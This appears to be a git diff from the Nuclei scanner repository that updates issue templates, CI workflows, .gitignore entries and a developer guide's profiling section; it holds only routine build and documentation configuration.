9f5bec8690 | ||
|
|
5c2b1682d1 | ||
|
|
89708d7f1c | ||
|
|
ce5fbfa05d | ||
|
|
4bf82d3528 | ||
|
|
2e2a578844 | ||
|
|
09ed9ae94e | ||
|
|
3901e3f9d6 | ||
|
|
b85d3df21a | ||
|
|
3d37e4603d | ||
|
|
4db5756fd0 | ||
|
|
83abe0969e | ||
|
|
595ba8e3a5 | ||
|
|
c79d2f05c4 | ||
|
|
8371223af1 | ||
|
|
e68ed9d757 | ||
|
|
5643f56772 | ||
|
|
a963056dea | ||
|
|
d0cd94f879 | ||
|
|
6bf752ad19 | ||
|
|
1f5b3bc056 | ||
|
|
1d0fbc0b62 | ||
|
|
83681fb308 | ||
|
|
9e98e277e7 | ||
|
|
5997be74ec | ||
|
|
1fef984de1 | ||
|
|
fc2ad66181 | ||
|
|
9b88cd552a | ||
|
|
30dc79cb9b | ||
|
|
275a693ae1 |
No files matched your search
@@ -0,0 +1,72 @@
|
||||
name: Bug Report
|
||||
description: Create a report to help us to improve the Nuclei.
|
||||
title: "[BUG] ..."
|
||||
labels: ["Type: Bug"]
|
||||
body:
|
||||
- type: markdown
|
||||
attributes:
|
||||
value: |
|
||||
Thanks for taking the time to fill out this bug report!
|
||||
|
||||
For support requests, FAQs or "How to" questions, please use the [GitHub Discussions](https://github.com/projectdiscovery/nuclei/discussions) section instead or join our [Discord server](https://discord.gg/projectdiscovery) to discuss the idea on the **#nuclei** channel.
|
||||
|
||||
:warning: **Issues missing important information may be closed without further investigation.**
|
||||
- type: checkboxes
|
||||
attributes:
|
||||
label: Is there an existing issue for this?
|
||||
description: Please search to see if an issue already exists for the bug you encountered.
|
||||
options:
|
||||
- label: I have searched the existing issues.
|
||||
required: true
|
||||
- type: textarea
|
||||
attributes:
|
||||
label: Current Behavior
|
||||
description: A concise description of what you're experiencing.
|
||||
validations:
|
||||
required: true
|
||||
- type: textarea
|
||||
attributes:
|
||||
label: Expected Behavior
|
||||
description: A concise description of what you expected to happen.
|
||||
validations:
|
||||
required: true
|
||||
- type: textarea
|
||||
attributes:
|
||||
label: Steps To Reproduce
|
||||
description: |
|
||||
Steps to reproduce the behavior, for example, commands to run Nuclei.
|
||||
|
||||
:warning: **Please redact any literal target hosts/URLs or other sensitive information.**
|
||||
placeholder: |
|
||||
1. Run `nuclei -t ...`
|
||||
validations:
|
||||
required: true
|
||||
- type: textarea
|
||||
attributes:
|
||||
label: Relevant log output
|
||||
description: Please copy and paste any relevant log output. This will be automatically formatted into code, so no need for backticks.
|
||||
render: shell
|
||||
- type: textarea
|
||||
attributes:
|
||||
label: Environment
|
||||
description: |
|
||||
Examples:
|
||||
- **OS**: Ubuntu 20.04
|
||||
- **Nuclei** (`nuclei -version`): v3.3.1
|
||||
- **Go** (`go version`): go1.22.0 _(only if you've installed it via the `go install` command)_
|
||||
value: |
|
||||
- OS:
|
||||
- Nuclei:
|
||||
- Go:
|
||||
render: markdown
|
||||
validations:
|
||||
required: true
|
||||
- type: textarea
|
||||
attributes:
|
||||
label: Anything else?
|
||||
description: |
|
||||
Links? References? Templates? Anything that will give us more context about the issue you are encountering!
|
||||
|
||||
Tip: You can attach images or log files by clicking this area to highlight it and then dragging files in.
|
||||
validations:
|
||||
required: false
|
||||
@@ -0,0 +1,37 @@
|
||||
name: Feature Request
|
||||
description: Request feature to implement in the Nuclei.
|
||||
title: "[FEATURE] ..."
|
||||
labels: ["Type: Enhancement"]
|
||||
body:
|
||||
- type: markdown
|
||||
attributes:
|
||||
value: |
|
||||
Thanks for taking the time to fill out this feature request!
|
||||
|
||||
Please make sure to provide a detailed description with all the relevant information that might be required to start working on this feature. In case you are not sure about your request or whether the particular feature is already supported or not, please [start a discussion](https://github.com/projectdiscovery/nuclei/discussions/categories/ideas) instead.
|
||||
|
||||
Join our [Discord server](https://discord.gg/projectdiscovery) to discuss the idea on the **#nuclei** channel.
|
||||
- type: textarea
|
||||
attributes:
|
||||
label: Describe your feature request
|
||||
description: A clear and concise description of feature to implement.
|
||||
validations:
|
||||
required: true
|
||||
- type: textarea
|
||||
attributes:
|
||||
label: Describe the use case of the feature
|
||||
description: A clear and concise description of the feature request's motivation and the use-cases in which it could be useful.
|
||||
validations:
|
||||
required: true
|
||||
- type: textarea
|
||||
attributes:
|
||||
label: Describe alternatives you've considered
|
||||
description: A clear and concise description of any alternative solutions or features you've considered.
|
||||
validations:
|
||||
required: false
|
||||
- type: textarea
|
||||
attributes:
|
||||
label: Additional context
|
||||
description: Add any other context about the feature request here.
|
||||
validations:
|
||||
required: false
|
||||
@@ -1,21 +0,0 @@
|
||||
---
|
||||
name: Feature request
|
||||
about: Request feature to implement in this project
|
||||
title: ""
|
||||
labels: 'Type: Enhancement'
|
||||
assignees: ''
|
||||
|
||||
---
|
||||
|
||||
<!--
|
||||
1. Please make sure to provide a detailed description with all the relevant information that might be required to start working on this feature.
|
||||
2. In case you are not sure about your request or whether the particular feature is already supported or not, please start a discussion instead.
|
||||
3. GitHub Discussion: https://github.com/projectdiscovery/nuclei/discussions/categories/ideas
|
||||
4. Join our discord server at https://discord.gg/projectdiscovery to discuss the idea on the #nuclei channel.
|
||||
-->
|
||||
|
||||
### Please describe your feature request:
|
||||
<!-- A clear and concise description of feature to implement -->
|
||||
|
||||
### Describe the use case of this feature:
|
||||
<!-- A clear and concise description of the feature request's motivation and the use-cases in which it could be useful. -->
|
||||
@@ -1,36 +0,0 @@
|
||||
---
|
||||
name: Issue report
|
||||
about: Create a report to help us to improve the project
|
||||
labels: 'Type: Bug'
|
||||
|
||||
---
|
||||
|
||||
<!--
|
||||
1. Please search to see if an issue already exists for the bug you encountered.
|
||||
2. For support requests, FAQs or "How to" questions, please use the GitHub Discussions section instead - https://github.com/projectdiscovery/nuclei/discussions or
|
||||
3. Join our discord server at https://discord.gg/projectdiscovery and post the question on the #nuclei channel.
|
||||
-->
|
||||
|
||||
<!-- ISSUES MISSING IMPORTANT INFORMATION MAY BE CLOSED WITHOUT INVESTIGATION. -->
|
||||
|
||||
### Nuclei version:
|
||||
<!-- You can find current version of nuclei with "nuclei -version" -->
|
||||
<!-- We only accept issues that are reproducible on the latest version of nuclei. -->
|
||||
<!-- You can find the latest version of project at https://github.com/projectdiscovery/nuclei/releases/ -->
|
||||
|
||||
### Current Behavior:
|
||||
<!-- A concise description of what you're experiencing. -->
|
||||
|
||||
### Expected Behavior:
|
||||
<!-- A concise description of what you expected to happen. -->
|
||||
|
||||
### Steps To Reproduce:
|
||||
<!--
|
||||
Example: steps to reproduce the behavior:
|
||||
1. Run 'nuclei -t ... -u ..'
|
||||
2. See error...
|
||||
-->
|
||||
|
||||
|
||||
### Anything else:
|
||||
<!-- Links? References? Screenshots? Anything that will give us more context about the issue that you are encountering! -->
|
||||
@@ -0,0 +1,8 @@
|
||||
addReviewers: true
|
||||
reviewers:
|
||||
- dogancanbakir
|
||||
- dwisiswant0
|
||||
|
||||
numberOfReviewers: 1
|
||||
skipKeywords:
|
||||
- '@dependabot'
|
||||
@@ -1,10 +1,12 @@
|
||||
name: 🤖 dep auto merge
|
||||
name: 🤖 Auto Merge
|
||||
|
||||
on:
|
||||
pull_request:
|
||||
branches:
|
||||
- dev
|
||||
workflow_dispatch:
|
||||
pull_request_review:
|
||||
types: [submitted]
|
||||
workflow_run:
|
||||
workflows: ["♾️ Compatibility Check"]
|
||||
types:
|
||||
- completed
|
||||
|
||||
permissions:
|
||||
pull-requests: write
|
||||
@@ -12,11 +14,11 @@ permissions:
|
||||
repository-projects: write
|
||||
|
||||
jobs:
|
||||
automerge:
|
||||
auto-merge:
|
||||
runs-on: ubuntu-latest
|
||||
if: github.actor == 'dependabot[bot]'
|
||||
steps:
|
||||
- uses: actions/checkout@v3
|
||||
- uses: actions/checkout@v4
|
||||
with:
|
||||
token: ${{ secrets.DEPENDABOT_PAT }}
|
||||
|
||||
@@ -1,68 +0,0 @@
|
||||
name: 🔨 Build Test
|
||||
|
||||
on:
|
||||
pull_request:
|
||||
paths:
|
||||
- '**.go'
|
||||
- '**.mod'
|
||||
workflow_dispatch:
|
||||
|
||||
jobs:
|
||||
build:
|
||||
name: Test Builds
|
||||
strategy:
|
||||
matrix:
|
||||
go-version: [1.21.x]
|
||||
os: [ubuntu-latest, windows-latest, macOS-latest]
|
||||
|
||||
runs-on: ${{ matrix.os }}
|
||||
steps:
|
||||
- name: Set up Go
|
||||
uses: actions/setup-go@v4
|
||||
with:
|
||||
go-version: ${{ matrix.go-version }}
|
||||
|
||||
- name: Set up Python # required for running python code in py-snippet.yaml integration test
|
||||
uses: actions/setup-python@v4
|
||||
with:
|
||||
python-version: '3.10'
|
||||
|
||||
- name: Check out code
|
||||
uses: actions/checkout@v3
|
||||
|
||||
- name: Go Mod hygiene
|
||||
run: |
|
||||
go clean -modcache
|
||||
go mod tidy
|
||||
|
||||
- name: Build
|
||||
run: go build .
|
||||
working-directory: cmd/nuclei/
|
||||
|
||||
- name: Test
|
||||
env:
|
||||
GITHUB_TOKEN: "${{ secrets.GITHUB_TOKEN }}"
|
||||
run: go test ./...
|
||||
|
||||
- name: Integration Tests
|
||||
timeout-minutes: 50
|
||||
env:
|
||||
GH_ACTION: true
|
||||
GITHUB_TOKEN: "${{ secrets.GITHUB_TOKEN }}"
|
||||
run: |
|
||||
chmod +x run.sh
|
||||
bash run.sh ${{ matrix.os }}
|
||||
working-directory: integration_tests/
|
||||
|
||||
- name: Race Condition Tests
|
||||
if: ${{ matrix.os != 'windows-latest' }} # known issue: https://github.com/golang/go/issues/46099
|
||||
run: go run -race . -l ../functional-test/targets.txt -id tech-detect,tls-version
|
||||
working-directory: cmd/nuclei/
|
||||
|
||||
- name: Example SDK Simple
|
||||
run: go run .
|
||||
working-directory: examples/simple/
|
||||
|
||||
- name: Example SDK Advanced
|
||||
run: go run .
|
||||
working-directory: examples/advanced/
|
||||
@@ -1,39 +0,0 @@
|
||||
name: 🚨 CodeQL Analysis
|
||||
|
||||
on:
|
||||
pull_request:
|
||||
paths:
|
||||
- '**.go'
|
||||
- '**.mod'
|
||||
workflow_dispatch:
|
||||
|
||||
jobs:
|
||||
analyze:
|
||||
name: Analyze
|
||||
runs-on: ubuntu-latest-16-cores
|
||||
permissions:
|
||||
actions: read
|
||||
contents: read
|
||||
security-events: write
|
||||
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
language: [ 'go' ]
|
||||
# CodeQL supports [ 'cpp', 'csharp', 'go', 'java', 'javascript', 'python' ]
|
||||
|
||||
steps:
|
||||
- name: Checkout repository
|
||||
uses: actions/checkout@v3
|
||||
|
||||
# Initializes the CodeQL tools for scanning.
|
||||
- name: Initialize CodeQL
|
||||
uses: github/codeql-action/init@v2
|
||||
with:
|
||||
languages: ${{ matrix.language }}
|
||||
|
||||
- name: Autobuild
|
||||
uses: github/codeql-action/autobuild@v2
|
||||
|
||||
- name: Perform CodeQL Analysis
|
||||
uses: github/codeql-action/analyze@v2
|
||||
@@ -0,0 +1,19 @@
|
||||
name: ♾️ Compatibility Check
|
||||
|
||||
on:
|
||||
pull_request:
|
||||
types: [opened, synchronize]
|
||||
branches:
|
||||
- dev
|
||||
|
||||
jobs:
|
||||
check:
|
||||
if: github.actor == 'dependabot[bot]'
|
||||
strategy:
|
||||
matrix:
|
||||
os: [ubuntu-latest, windows-latest, macOS-latest]
|
||||
runs-on: ${{ matrix.os }}
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: projectdiscovery/actions/setup/go@v1
|
||||
- run: go mod download && go mod verify && go vet ./...
|
||||
@@ -1,4 +1,4 @@
|
||||
name: 🌥 Docker Push
|
||||
name: 🐳 Docker Push
|
||||
|
||||
on:
|
||||
workflow_run:
|
||||
@@ -12,7 +12,7 @@ jobs:
|
||||
runs-on: ubuntu-latest-16-cores
|
||||
steps:
|
||||
- name: Git Checkout
|
||||
uses: actions/checkout@v3
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Get GitHub tag
|
||||
id: meta
|
||||
|
||||
@@ -1,33 +0,0 @@
|
||||
name: 🧪 Functional Test
|
||||
|
||||
on:
|
||||
pull_request:
|
||||
paths:
|
||||
- '**.go'
|
||||
workflow_dispatch:
|
||||
|
||||
|
||||
jobs:
|
||||
functional:
|
||||
name: Functional Test
|
||||
runs-on: ${{ matrix.os }}
|
||||
strategy:
|
||||
matrix:
|
||||
os: [ubuntu-latest, windows-latest, macOS-latest]
|
||||
steps:
|
||||
- name: Set up Go
|
||||
uses: actions/setup-go@v4
|
||||
with:
|
||||
go-version: 1.21.x
|
||||
|
||||
- name: Check out code
|
||||
uses: actions/checkout@v3
|
||||
|
||||
- name: Functional Tests
|
||||
env:
|
||||
GH_ACTION: true
|
||||
GITHUB_TOKEN: "${{ secrets.GITHUB_TOKEN }}"
|
||||
run: |
|
||||
chmod +x run.sh
|
||||
bash run.sh ${{ matrix.os }}
|
||||
working-directory: cmd/functional-test
|
||||
@@ -0,0 +1,27 @@
|
||||
name: ⏰ Generate Docs
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- dev
|
||||
workflow_dispatch:
|
||||
|
||||
jobs:
|
||||
publish-docs:
|
||||
if: "${{ !endsWith(github.actor, '[bot]') }}"
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: projectdiscovery/actions/setup/go@v1
|
||||
- uses: projectdiscovery/actions/setup/git@v1
|
||||
- run: make syntax-docs
|
||||
- run: git status -s | wc -l | xargs -I {} echo CHANGES={} >> $GITHUB_OUTPUT
|
||||
id: status
|
||||
- uses: projectdiscovery/actions/commit@v1
|
||||
if: steps.status.outputs.CHANGES > 0
|
||||
with:
|
||||
files: |
|
||||
SYNTAX-REFERENCE.md
|
||||
nuclei-jsonschema.json
|
||||
message: 'docs: update syntax & JSON schema 🤖'
|
||||
- run: git push origin $GITHUB_REF
|
||||
@@ -1,27 +0,0 @@
|
||||
name: 🙏🏻 Lint Test
|
||||
|
||||
on:
|
||||
pull_request:
|
||||
paths:
|
||||
- '**.go'
|
||||
- '**.mod'
|
||||
workflow_dispatch:
|
||||
|
||||
jobs:
|
||||
lint:
|
||||
name: Lint Test
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Set up Go
|
||||
uses: actions/setup-go@v4
|
||||
with:
|
||||
go-version: 1.21.x
|
||||
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v3
|
||||
|
||||
- name: Run golangci-lint
|
||||
uses: golangci/[email protected]
|
||||
with:
|
||||
version: latest
|
||||
args: --timeout 5m
|
||||
@@ -0,0 +1,25 @@
|
||||
name: 🔨 Performance Test
|
||||
|
||||
on:
|
||||
schedule:
|
||||
- cron: '0 0 * * 0' # Weekly
|
||||
workflow_dispatch:
|
||||
|
||||
jobs:
|
||||
perf-test:
|
||||
strategy:
|
||||
matrix:
|
||||
count: [50, 100, 150]
|
||||
runs-on: ubuntu-latest
|
||||
if: github.repository == 'projectdiscovery/nuclei'
|
||||
env:
|
||||
LIST_FILE: "/tmp/targets-${{ matrix.count }}.txt"
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: projectdiscovery/actions/setup/go@v1
|
||||
- run: make verify
|
||||
- name: Generate list
|
||||
run: for i in {1..${{ matrix.count }}}; do echo "https://scanme.sh/?_=${i}" >> "${LIST_FILE}"; done
|
||||
- run: go run -race . -l "${LIST_FILE}"
|
||||
working-directory: cmd/nuclei/
|
||||
|
||||
@@ -1,35 +0,0 @@
|
||||
name: 🔨 Performance Test
|
||||
|
||||
on:
|
||||
workflow_dispatch:
|
||||
schedule:
|
||||
# Weekly
|
||||
- cron: '0 0 * * 0'
|
||||
|
||||
jobs:
|
||||
build:
|
||||
name: Test Performance
|
||||
strategy:
|
||||
matrix:
|
||||
go-version: [1.21.x]
|
||||
os: [ubuntu-latest, macOS-latest]
|
||||
|
||||
runs-on: ${{ matrix.os }}
|
||||
steps:
|
||||
- name: Set up Go
|
||||
uses: actions/setup-go@v4
|
||||
with:
|
||||
go-version: ${{ matrix.go-version }}
|
||||
|
||||
- name: Check out code
|
||||
uses: actions/checkout@v3
|
||||
|
||||
- name: Go Mod hygine
|
||||
run: |
|
||||
go clean -modcache
|
||||
go mod tidy
|
||||
|
||||
# Max GH exection time 6H => timeout after that
|
||||
- name: Running performance with big list
|
||||
run: go run -race . -l ../functional-test/targets-150.txt
|
||||
working-directory: cmd/nuclei/
|
||||
@@ -1,48 +0,0 @@
|
||||
name: ⏰ Publish Docs
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- dev
|
||||
workflow_dispatch:
|
||||
|
||||
jobs:
|
||||
docs:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v3
|
||||
with:
|
||||
fetch-depth: 0
|
||||
|
||||
- name: "Set up Go"
|
||||
uses: actions/setup-go@v4
|
||||
with:
|
||||
go-version: 1.21.x
|
||||
|
||||
- name: Generate YAML Syntax Documentation
|
||||
id: generate-docs
|
||||
run: |
|
||||
if ! which dstdocgen > /dev/null; then
|
||||
echo -e "Command dstdocgen not found! Installing\c"
|
||||
go install github.com/projectdiscovery/yamldoc-go/cmd/docgen/dstdocgen@main
|
||||
fi
|
||||
go generate pkg/templates/templates.go
|
||||
go build -o "cmd/docgen/docgen" cmd/docgen/docgen.go
|
||||
./cmd/docgen/docgen ../SYNTAX-REFERENCE.md ../nuclei-jsonschema.json
|
||||
git status -s | wc -l | xargs -I {} echo CHANGES={} >> $GITHUB_OUTPUT
|
||||
|
||||
- name: Commit files
|
||||
if: steps.generate-docs.outputs.CHANGES > 0
|
||||
run: |
|
||||
git config --local user.email "[email protected]"
|
||||
git config --local user.name "GitHub Action"
|
||||
git add SYNTAX-REFERENCE.md nuclei-jsonschema.json
|
||||
git commit -m "Auto Generate Syntax Docs + JSONSchema [$(date)] :robot:" -a
|
||||
|
||||
- name: Push changes
|
||||
if: steps.generate-docs.outputs.CHANGES > 0
|
||||
uses: ad-m/github-push-action@master
|
||||
with:
|
||||
github_token: ${{ secrets.GITHUB_TOKEN }}
|
||||
branch: ${{ github.ref }}
|
||||
@@ -1,28 +0,0 @@
|
||||
name: 🔨 Release Test
|
||||
|
||||
on:
|
||||
pull_request:
|
||||
paths:
|
||||
- '**.go'
|
||||
- '**.mod'
|
||||
workflow_dispatch:
|
||||
|
||||
jobs:
|
||||
release-test:
|
||||
runs-on: ubuntu-latest-16-cores
|
||||
steps:
|
||||
- name: "Check out code"
|
||||
uses: actions/checkout@v3
|
||||
with:
|
||||
fetch-depth: 0
|
||||
|
||||
- name: Set up Go
|
||||
uses: actions/setup-go@v4
|
||||
with:
|
||||
go-version: 1.21.x
|
||||
|
||||
- name: release test
|
||||
uses: goreleaser/goreleaser-action@v4
|
||||
with:
|
||||
args: "release --clean --snapshot"
|
||||
version: latest
|
||||
@@ -1,4 +1,4 @@
|
||||
name: 🎉 Release Binary
|
||||
name: 🎉 Release
|
||||
|
||||
on:
|
||||
push:
|
||||
@@ -9,22 +9,16 @@ on:
|
||||
jobs:
|
||||
release:
|
||||
runs-on: ubuntu-latest-16-cores
|
||||
|
||||
steps:
|
||||
- uses: actions/checkout@v3
|
||||
- uses: actions/checkout@v4
|
||||
with:
|
||||
fetch-depth: 0
|
||||
|
||||
- uses: actions/setup-go@v4
|
||||
- uses: projectdiscovery/actions/setup/go@v1
|
||||
- uses: projectdiscovery/actions/goreleaser@v1
|
||||
with:
|
||||
go-version: 1.21.x
|
||||
|
||||
- uses: goreleaser/goreleaser-action@v4
|
||||
with:
|
||||
args: "release --rm-dist"
|
||||
version: latest
|
||||
release: true
|
||||
env:
|
||||
GITHUB_TOKEN: "${{ secrets.GITHUB_TOKEN }}"
|
||||
SLACK_WEBHOOK: "${{ secrets.RELEASE_SLACK_WEBHOOK }}"
|
||||
DISCORD_WEBHOOK_ID: "${{ secrets.DISCORD_WEBHOOK_ID }}"
|
||||
DISCORD_WEBHOOK_TOKEN: "${{ secrets.DISCORD_WEBHOOK_TOKEN }}"
|
||||
DISCORD_WEBHOOK_TOKEN: "${{ secrets.DISCORD_WEBHOOK_TOKEN }}"
|
||||
@@ -1,23 +0,0 @@
|
||||
name: 🛠 Template Validate
|
||||
|
||||
on:
|
||||
pull_request:
|
||||
paths:
|
||||
- '**.go'
|
||||
workflow_dispatch:
|
||||
|
||||
jobs:
|
||||
build:
|
||||
runs-on: ubuntu-latest-16-cores
|
||||
steps:
|
||||
- uses: actions/checkout@v3
|
||||
- uses: actions/setup-go@v4
|
||||
with:
|
||||
go-version: 1.21.x
|
||||
|
||||
- name: Template Validation
|
||||
run: |
|
||||
go run . -ut
|
||||
go run . -validate
|
||||
go run . -validate -w workflows
|
||||
working-directory: cmd/nuclei/
|
||||
@@ -0,0 +1,135 @@
|
||||
name: 🔨 Tests
|
||||
|
||||
on:
|
||||
push:
|
||||
branches: ["dev"]
|
||||
paths:
|
||||
- '**.go'
|
||||
- '**.mod'
|
||||
pull_request:
|
||||
paths:
|
||||
- '**.go'
|
||||
- '**.mod'
|
||||
workflow_dispatch:
|
||||
|
||||
concurrency:
|
||||
group: ${{ github.workflow }}-${{ github.ref }}
|
||||
cancel-in-progress: true
|
||||
|
||||
jobs:
|
||||
lint:
|
||||
name: "Lint"
|
||||
if: "${{ !endsWith(github.actor, '[bot]') }}"
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: projectdiscovery/actions/setup/go@v1
|
||||
- uses: projectdiscovery/actions/golangci-lint@v1
|
||||
|
||||
tests:
|
||||
name: "Tests"
|
||||
needs: ["lint"]
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
os: [ubuntu-latest, windows-latest, macOS-latest]
|
||||
runs-on: "${{ matrix.os }}"
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: projectdiscovery/actions/setup/go@v1
|
||||
- run: make vet
|
||||
- run: make build
|
||||
- run: make test
|
||||
env:
|
||||
GITHUB_TOKEN: "${{ secrets.GITHUB_TOKEN }}"
|
||||
PDCP_API_KEY: "${{ secrets.PDCP_API_KEY }}"
|
||||
- run: go run -race . -l ../functional-test/targets.txt -id tech-detect,tls-version
|
||||
if: ${{ matrix.os != 'windows-latest' }} # known issue: https://github.com/golang/go/issues/46099
|
||||
working-directory: cmd/nuclei/
|
||||
|
||||
sdk:
|
||||
name: "Run example SDK"
|
||||
needs: ["tests"]
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: projectdiscovery/actions/setup/go@v1
|
||||
- name: "Simple"
|
||||
run: go run .
|
||||
working-directory: examples/simple/
|
||||
# - run: go run . # Temporarily disabled very flaky in github actions
|
||||
# working-directory: examples/advanced/
|
||||
- name: "with Speed Control"
|
||||
run: go run .
|
||||
working-directory: examples/with_speed_control/
|
||||
|
||||
integration:
|
||||
name: "Integration tests"
|
||||
needs: ["tests"]
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
os: [ubuntu-latest, windows-latest, macOS-latest]
|
||||
runs-on: ${{ matrix.os }}
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: projectdiscovery/actions/setup/go@v1
|
||||
- uses: actions/setup-python@v4
|
||||
with:
|
||||
python-version: '3.10'
|
||||
- run: bash run.sh "${{ matrix.os }}"
|
||||
env:
|
||||
GITHUB_TOKEN: "${{ secrets.GITHUB_TOKEN }}"
|
||||
PDCP_API_KEY: "${{ secrets.PDCP_API_KEY }}"
|
||||
timeout-minutes: 50
|
||||
working-directory: integration_tests/
|
||||
|
||||
functional:
|
||||
name: "Functional tests"
|
||||
needs: ["tests"]
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
os: [ubuntu-latest, windows-latest, macOS-latest]
|
||||
runs-on: ${{ matrix.os }}
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: projectdiscovery/actions/setup/go@v1
|
||||
- run: bash run.sh "${{ matrix.os }}"
|
||||
env:
|
||||
GITHUB_TOKEN: "${{ secrets.GITHUB_TOKEN }}"
|
||||
working-directory: cmd/functional-test/
|
||||
|
||||
validate:
|
||||
name: "Template validate"
|
||||
needs: ["tests"]
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: projectdiscovery/actions/setup/go@v1
|
||||
- run: make template-validate
|
||||
|
||||
codeql:
|
||||
name: "CodeQL analysis"
|
||||
needs: ["tests"]
|
||||
runs-on: ubuntu-latest
|
||||
permissions:
|
||||
actions: read
|
||||
contents: read
|
||||
security-events: write
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: github/codeql-action/init@v2
|
||||
with:
|
||||
languages: 'go'
|
||||
- uses: github/codeql-action/autobuild@v2
|
||||
- uses: github/codeql-action/analyze@v2
|
||||
|
||||
release:
|
||||
name: "Release test"
|
||||
needs: ["tests"]
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: projectdiscovery/actions/setup/go@v1
|
||||
- uses: projectdiscovery/actions/goreleaser@v1
|
||||
@@ -1,27 +1,51 @@
|
||||
# Misc
|
||||
**/*-cache
|
||||
**/*-config
|
||||
**/.cache
|
||||
**/*.DS_Store
|
||||
**/*.exe
|
||||
.devcontainer
|
||||
.gitignore
|
||||
.idea
|
||||
.vscode
|
||||
.devcontainer
|
||||
vendor
|
||||
|
||||
# Binaries
|
||||
/bin/*
|
||||
/bindgen
|
||||
/debug-*
|
||||
/docgen
|
||||
/functional-test
|
||||
/fuzzplayground
|
||||
/integration-test
|
||||
/jsdocgen
|
||||
/main
|
||||
/memogen
|
||||
/nuclei
|
||||
/nuclei-stats*
|
||||
/nuclei_dev
|
||||
/nuclei_main
|
||||
/scan-charts
|
||||
/scrapefunc
|
||||
/scrapefuncs
|
||||
/tsgen
|
||||
|
||||
# Templates
|
||||
/*.yaml
|
||||
|
||||
# Generated docs
|
||||
/dsl.md
|
||||
|
||||
# Junk
|
||||
dist
|
||||
integration_tests/nuclei
|
||||
integration_tests/integration-test
|
||||
cmd/nuclei/main
|
||||
cmd/nuclei/nuclei
|
||||
cmd/integration-test/nuclei
|
||||
cmd/functional-test/nuclei_dev
|
||||
cmd/functional-test/nuclei_main
|
||||
cmd/functional-test/functional-test
|
||||
cmd/docgen/docgen
|
||||
pkg/protocols/common/helpers/deserialization/testdata/Deserialize.class
|
||||
pkg/protocols/common/helpers/deserialization/testdata/ValueObject.class
|
||||
pkg/protocols/common/helpers/deserialization/testdata/ValueObject2.ser
|
||||
*.exe
|
||||
.gitignore
|
||||
pkg/js/devtools/bindgen/cmd/bindgen
|
||||
pkg/js/devtools/jsdocgen/jsdocgen
|
||||
*.DS_Store
|
||||
pkg/protocols/headless/engine/.cache
|
||||
/nuclei
|
||||
/bindgen
|
||||
/jsdocgen
|
||||
/scrapefuncs
|
||||
vendor
|
||||
|
||||
# Headless `screenshot` action
|
||||
*.png
|
||||
|
||||
# Profiling & tracing
|
||||
*.prof
|
||||
*.pprof
|
||||
*.trace
|
||||
@@ -381,7 +381,7 @@ func (r *Request) Type() templateTypes.ProtocolType {
|
||||
}
|
||||
```
|
||||
|
||||
Almost all of these protocols have boilerplate functions for which default implementations have been provided in the `providers` package. Examples are the implementation of `Match`, `Extract`, `MakeResultEvent`, GetCompiledOperators`, etc. which are almost same throughout Nuclei protocols code. It is enough to copy-paste them unless customization is required.
|
||||
Almost all of these protocols have boilerplate functions for which default implementations have been provided in the `providers` package. Examples are the implementation of `Match`, `Extract`, `MakeResultEvent`, `GetCompiledOperators`, etc. which are almost same throughout Nuclei protocols code. It is enough to copy-paste them unless customization is required.
|
||||
|
||||
`eventcreator` package offers `CreateEventWithAdditionalOptions` function which can be used to create result events after doing request execution.
|
||||
|
||||
@@ -457,26 +457,49 @@ func (template *Template) compileProtocolRequests(options protocols.ExecuterOpti
|
||||
That's it, you've added a new protocol to Nuclei. The next good step would be to write integration tests which are described in `integration-tests` and `cmd/integration-tests` directories.
|
||||
|
||||
|
||||
## Profiling Instructions
|
||||
## Profiling and Tracing
|
||||
|
||||
To enable dumping of Memory profiling data, `-profile-mem` flag can be used along with path to a file. This writes a pprof formatted file which can be used for investigate resource usage with `pprof` tool.
|
||||
To analyze Nuclei's performance and resource usage, you can generate memory profiles and trace files using the `-profile-mem` flag:
|
||||
|
||||
```console
|
||||
$ nuclei -t nuclei-templates/ -u https://example.com -profile-mem mem.pprof
|
||||
```bash
|
||||
nuclei -t nuclei-templates/ -u https://example.com -profile-mem=nuclei-$(git describe --tags)
|
||||
```
|
||||
|
||||
To view profile data in pprof, first install pprof. Then run the below command -
|
||||
This command creates two files:
|
||||
|
||||
```console
|
||||
$ go tool pprof mem.pprof
|
||||
* `nuclei.prof`: Memory (heap) profile
|
||||
* `nuclei.trace`: Execution trace
|
||||
|
||||
### Analyzing the Memory Profile
|
||||
|
||||
1. View the profile in the terminal:
|
||||
|
||||
```bash
|
||||
go tool pprof nuclei.prof
|
||||
```
|
||||
|
||||
To open a web UI on a port to visualize debug data, the below command can be used.
|
||||
2. Display top memory consumers:
|
||||
|
||||
```console
|
||||
$ go tool pprof -http=:8081 mem.pprof
|
||||
```bash
|
||||
go tool pprof -top nuclei.prof | grep "$(go list -m)" | head -10
|
||||
```
|
||||
|
||||
3. Visualize the profile in a web browser:
|
||||
|
||||
```bash
|
||||
go tool pprof -http=:$(shuf -i 1000-99999 -n 1) nuclei.prof
|
||||
```
|
||||
|
||||
### Analyzing the Trace File
|
||||
|
||||
To examine the execution trace:
|
||||
